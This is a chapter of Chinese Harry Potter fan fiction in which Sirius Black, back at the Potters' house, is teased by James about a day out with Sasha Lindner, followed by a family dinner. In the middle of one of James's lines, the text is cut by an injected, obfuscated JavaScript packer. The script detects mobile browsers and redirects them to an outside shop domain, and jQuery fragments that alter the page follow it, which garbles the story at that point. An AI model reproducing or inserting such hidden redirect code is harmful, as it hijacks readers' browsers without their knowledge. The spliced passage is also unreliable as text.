西里斯回到戈德里克山谷的时候，天已经黑透了。
波特家的房子在暮色中亮着暖黄色的灯光，每一扇窗户都像一块发光的蜜糖，嵌在石头外墙里。烟囱里冒着白烟，空气中飘着烤肉的香气——尤菲米娅大概在做晚饭。西里斯站在铁门前，手里还拎着那两个购物袋，站了几秒钟。他不知道自己为什么在门口站着不进去。也许是因为他还没想好怎么回答詹姆一定会问的那个问题。
“你去哪了？”“和谁去的？”“怎么样？”
这三个问题，詹姆会在看到他进门的第一秒之内全部问完，而且不会给他喘息的时间。
西里斯深吸了一口气，推开了门。
“回来了？”尤菲米娅的声音从厨房传来，带着锅铲碰铁锅的清脆声响，“晚饭还有半小时。”
“好的，尤菲米娅，”西里斯朝厨房的方向应了一声，把给波特夫妇的购物袋放在门厅的鞋柜上，然后脱下外套。
客厅里传来一阵熟悉的、懒洋洋的声音：“西里斯？是你吗？”
西里斯走进客厅。
詹姆·波特躺在沙发上，一条腿搭在扶手上，另一条腿垂在地板上，圆框眼镜歪歪斜斜地挂在鼻梁上，手里拿着一本被翻得起了毛边的《魁地奇周刊》。他的黑发——那头波特家族标志性的、永远支棱着的乱发——比平时更乱了，像是一窝刚孵出来的猫头鹰雏鸟在上面安了家。
他看到西里斯走进来，杂志放下了，眼镜扶正了，垂在地板上的那条腿也收了回来。
“你回来了，”詹姆说。
“我回来了，”西里斯说。
沉默了一秒。
“怎么样？”詹姆问。
西里斯在沙发另一端坐下，靠进柔软的坐垫里，灰色的眼睛看着天花板。客厅的壁炉里烧着火，火光在天花板上跳动，把整个房间染成一片温暖的橘红色。
“什么怎么样？”
“别跟我装傻，”詹姆翻了个身，趴在沙发上，下巴搁在交叠的手臂上，浅褐色的眼睛从圆框眼镜后面盯着西里斯，“你早上出门的时候穿了两件外套，换了两双鞋，在镜子前面站了四分钟——我数的。你什么时候在镜子前面站过四分钟？上次你站在镜子前面超过一分钟，是因为你在检查自己的鼻子里是不是有芨芨草。”
西里斯没有反驳。因为詹姆说的是对的。他今天早上确实在镜子前面站了四分钟。不是因为鼻子里有芨芨草，而是因为他在犹豫要不要戴那条发带。他戴了。摘下来。又戴了。又摘下来。最后戴上了，然后花了三分钟调整位置，让它看起来像是“随便戴的”而不是“认真戴的”。
“只是和朋友出去逛逛，”西里斯说，语气随意得像在说今天天气不错。
詹姆的眼睛亮了一下——那种亮西里斯太熟悉了，那是詹姆·波特闻到“八卦”气息时特有的、堪比嗅嗅闻到金子时的光芒。
“朋友，”詹姆重复了一遍这个词，品味了一下其中的味道，“哪个朋友？”
西里斯没有回答。
“林德纳，”詹姆说，“拉文克劳的林德纳。萨莎·林德纳。”
西里斯转过头看着他。灰色的眼睛在火光中显得格外浅淡。
“你怎么知道？”
“因为除了她，你不会在镜子前面站四分钟，”詹姆说，从沙发上坐起来，盘起腿，双手撑在膝盖上，摆出一副“我们来好好谈谈”的姿势，“而且你给她挑礼物的时候——那本关于德文郡老房子的麻瓜书——你花了半个下午在查令十字街的旧书堆里翻了好几个书架。你什么时候为了别人做过这种事？”
西里斯沉默了片刻。
“那本书不是礼物，”他说，“那是——参考资料。”
“哦，参考资料，”詹姆的嘴角咧开了一个危险的弧度，“所以你送了一个女生一本‘参考资料’作为圣诞礼物，然后你戴着那条她送的发带，在镜子前面站了四分钟，然后你们今天在伦敦逛了一整天——你告诉我，这不是约会是什么？”
西里斯张了张嘴，想说“这不是约会”。
但那个词在他的舌尖上停了一下。
约会。
他和萨莎·林德纳。
在伦敦。一整天。只有他们两个人。
泰晤士河边的餐厅。南岸中心的彩色光束。滑铁卢桥上她靠在桥栏上，黑色的头发被风吹起来，围巾遮住了半张脸，只露出一双黑色的眼睛——
“西里斯。”詹姆的声音把他从那个画面里拽了出来。
“什么？”
“你刚才脸红了。”
“我没有。”
“你有。你现在还在红。从颧骨到耳朵尖，红得像格兰芬多的旗帜。”
西里斯伸手摸了一下自己的耳朵。是热的。他把手放下来，假装只是在调整头发。
“好吧，”他说，声音低了一些，“也许——也许有一点。”
詹姆盯着他看了两秒，然后从沙发上蹦了起来。
“有一点？”他的声音拔高了半个调，“西里斯·布莱克，你——你——你喜欢她？”
他说“喜欢”这个词的时候，语气像是在宣布“梅林刚刚骑着扫帚从窗外飞过去了”。
西里斯靠在沙发上，灰色的眼睛看着壁炉里的火。火光在他瞳孔中跳动，像两颗被点燃的、小小的恒星。
“我不知道，”他说，“也许。”
“也许？”詹姆在他面前蹲下来，双手搭在膝盖上，圆框眼镜后面的眼睛瞪得很大，“你——西里斯·布莱克——你不知道自己喜不喜欢一个人？”
“我以前没有喜欢过，”西里斯说，声音很轻。
客厅里安静了一瞬。
壁炉里的火噼啪响了一声。
詹姆的表情变了。那种八卦的、促狭的、爱开玩笑的光芒从他脸上慢慢褪去，露出下面那个更认真的、更少见的詹姆·波特。他在西里斯旁边的沙发上坐下，肩膀靠着肩膀。
“你真的没有喜欢过？”他问，声音低了下来。
西里斯摇了摇头。
“我在霍格沃茨这几年，”他说，“你知道的。我忙着惹麻烦，忙着跟斯莱特林打架，忙着——”
“忙着假装你不在乎任何事情，”詹姆替他说完。
西里斯没有否认。
“然后呢？”詹姆问，“她做了什么？”
西里斯想了想。
“她什么都没做，”他说，“她只是——她是她自己。在黑湖边，她找到我，问我知不知道关于神秘人的事情。她的声音很平静，像是在问今天食堂吃什么。但她眼睛里有一种东西——一种‘我一定要做这件事’的东西。不是冲动，不是热血上头，而是——一种很安静的、很确定的……”
他停了一下，找了一个词。
“笃定，”他说，“她有一种笃定。”
詹姆安静地听着，没有插嘴。
“她不知道我是谁，”西里斯继续说，“她不在乎我是布莱克家的人。她不在乎我离家出走了，也不在乎我母亲给我寄吼叫信。她只是把我当成——一个可能有用的人。一个可能愿意做正确的事情的人。”
他顿了一下。
“从来没有人那样看过我。”
客厅里又安静了一会儿。詹姆靠在沙发上，和西里斯并排坐着，两个人都看着壁炉里的火。
“所以你今天，”詹姆慢慢地说，“是和她出去了。”
“对。”
“在伦敦。”
“对。”
“逛了街，吃了饭，看了泰晤士河。”
“对。”
“戴了她送的发带。”
西里斯伸手摸了一下发间的发带。蓝灰色的织物在火光中呈现出一种温暖的、近乎琥珀色的光泽。他今天一整天都没有摘下来过。不是因为他忘了，而是因为他不想摘。
“对，”他说。
詹姆转过头看着他。
“那你告诉她了吗？”
西里斯的手指停在发带上。
“告诉她什么？”
“告诉她你喜欢她啊，”詹姆说，语气里带着一种“这还用问”的理所当然。
西里斯把手放下来，放在膝盖上。
“没有，”他说，“而且——我觉得她不会想听到这个。”
“为什么？”
“因为——”西里斯顿了顿，斟酌着措辞，“因为她不是那样看我的。她今天和我在一起，很轻松，很坦荡。她叫我‘西里斯’，她称赞那条发带很适合我，她说‘很帅气’——她说这些话的时候，就像在说‘今天的天气不错’。”
他看着詹姆。
“她对我没有那种感觉。”
詹姆皱起眉。“你怎么知道？”
“因为我知道，”西里斯说，声音低了下去。
他没有告诉詹姆他为什么知道。因为他自己也说不太清楚。只是一种感觉。也许是他在自作多情。但他不想去深想。
“你今天和她在一起，”詹姆说，声音比平时认真了很多，“开心吗？”
西里斯睁开眼睛。
壁炉里的火还在跳。天花板上魔法雪花还在飘。尤菲米娅在厨房里哼着一首老歌，锅铲碰铁锅的声音有节奏地响着。
“开心，”他说，“很开心。”
“那就够了，”詹姆说，伸手拍了拍西里斯的肩膀，“今天够了。明天的事，明天再说。”
西里斯看着詹姆。圆框眼镜，乱糟糟的黑发，浅褐色的眼睛里带着一种不常出现在詹姆·波特脸上的、近乎温柔的神情。
“你什么时候变得这么懂这些了？”西里斯问。
詹姆的嘴角弯了起来，那种促狭的、爱开玩笑的光芒又回到了他眼睛里。
“因为我在恋爱方面比你懂的多，”詹姆说。
“你比我小，波特，”西里斯靠在沙发上，灰色的眼睛里带着一丝懒洋洋的笑意，“搞清楚顺序。”
“那又怎样？”詹姆说，“比你小不代表比你笨。比如——怎么在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575225|204995||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
喜欢的人面前不脸红。你显然还没学会。”
西里斯抓起沙发上的一个靠垫，朝詹姆的脸上扔了过去。
詹姆接住了靠垫，笑出了声——那种很大声的、不加任何掩饰的、让整栋房子都能听到的笑。
“尤菲米娅！”詹姆朝厨房喊，“西里斯用靠垫袭击我！”
“那你活该！”尤菲米娅的声音从厨房传来，带着笑意。
西里斯也笑了。不是他惯常的那种带着讽刺或玩味的笑，而是一种更简单的、更放松的、在波特家客厅的壁炉前才会出现的笑。
他靠在沙发上，把那条蓝灰色的发带从发尾解下来，叠好，放进口袋里。
“你今天戴了一整天，”詹姆看到了这个动作，语气里带着一种“果然如此”的得意，“睡觉的时候也要放在口袋里？”
“闭嘴，波特。”
“布莱克先生，你脸又红了。”
“我没有。”
“你有。从颧骨到耳朵尖——”
西里斯又抓起一个靠垫。
这一次，詹姆没有接住。
靠垫正中他的脸，把他的圆框眼镜打歪了。詹姆大笑起来，笑声在波特家的客厅里回荡，和壁炉里的火、厨房里的锅铲声、天花板上飘落的魔法雪花混在一起，变成了一种只有波特家才有的、温暖的、让人想永远待在这里的声音。
西里斯坐在沙发上，手放在口袋里，指尖触着那条发带的边缘。
他在想萨莎。
想她在滑铁卢桥上说的那句话——“因为你就是西里斯。布莱克只是你的姓氏，不是你的名字。”
他想知道，如果他告诉她，他对她的感觉不只是“朋友”，她会怎么回答。
他不知道。
但他知道的是，今天，十二月二十八日，在牛津街的金色灯饰下，在泰晤士河边的餐厅里，在南岸中心的彩色光束中——她笑了很多次。
她在他面前笑了很多次。
也许这就够了。
今天够了。
明天的事，明天再说。
尤菲米娅在餐厅里喊了一声：“吃饭了！”
詹姆从沙发上弹起来，冲向餐厅。
西里斯站起来，把手从口袋里抽出来，整理了一下衣服，跟着詹姆走进了餐厅。
餐桌上摆满了食物——烤鸡、土豆泥、约克郡布丁、烤蔬菜和一整盘刚出炉的面包。尤菲米娅坐在桌子的一端，围裙还没解下来，脸上带着那种只有母亲才有的、看着孩子们吃饭就满足的笑容。弗利蒙特坐在她旁边，正在往自己的盘子里堆土豆泥，堆得像一座小山。
“西里斯，坐这儿，”尤菲米娅拍了拍她旁边的椅子。
西里斯坐下。
詹姆坐在他对面，嘴里已经塞了一块面包，含糊不清地说：“妈，西里斯今天去约会了。”
尤菲米娅的眉毛挑了起来。
“约会？”她看着西里斯，目光里带着一种温暖的、不咄咄逼人的好奇。
“不是约会，”西里斯说，同时用叉子指了指詹姆，“他夸张了。”
“他戴了发带，”詹姆说，嘴里还嚼着面包，“一条新的。蓝灰色的。和他眼睛的颜色一样。”
“那不是约会，”西里斯说，没有否认发带的事情。
尤菲米娅和弗利蒙特交换了一个眼神。那个眼神的意思是：“我们不要追问，但我们都知道了。”
弗利蒙特放下叉子，看着西里斯，浅褐色的——詹姆遗传了他的眼睛颜色——眼睛里带着一种温和的、长辈特有的笑意。
“不管是不是约会，”弗利蒙特说，“开心就好。”
西里斯低下头，看着自己盘子里的烤鸡。
“开心，”他说。
尤菲米娅伸手拍了拍他的手背，没有说话。
晚餐在詹姆不断打趣、西里斯不断否认、尤菲米娅不断往两个人盘子里添菜的热闹中进行。窗外的雪又开始下了，薄薄的、轻飘飘的，在路灯的暖黄色光晕中旋转着落下。
西里斯吃完最后一口约克郡布丁，放下刀叉。
他低头看了一眼口袋——那条蓝灰色的发带叠得整整齐齐，安静地躺在那里。
他在想，明天醒来的时候，他会不会还想着今天的事。
他知道会的。
但他也知道，明天是十二月二十九日。距离回到霍格沃茨还有不到一周。距离下一次在有求必应屋里见到萨莎，还有不到两周。
他等得起。
他靠在椅背上，听着詹姆和尤菲米娅争论约克郡布丁的配方应该用鸡蛋还是牛奶，听着弗利蒙特在中间打圆场说“都好吃都好吃”，听着窗外的雪落在波特家屋顶上的、几乎听不到的沙沙声。
他把手放进口袋，指尖触着那条发带。
然后他笑了。
很小的、只有他自己能看到的、对着自己盘子里的烤鸡骨头笑了一下。
因为他在想——下次见到萨莎的时候，他还要戴这条发带。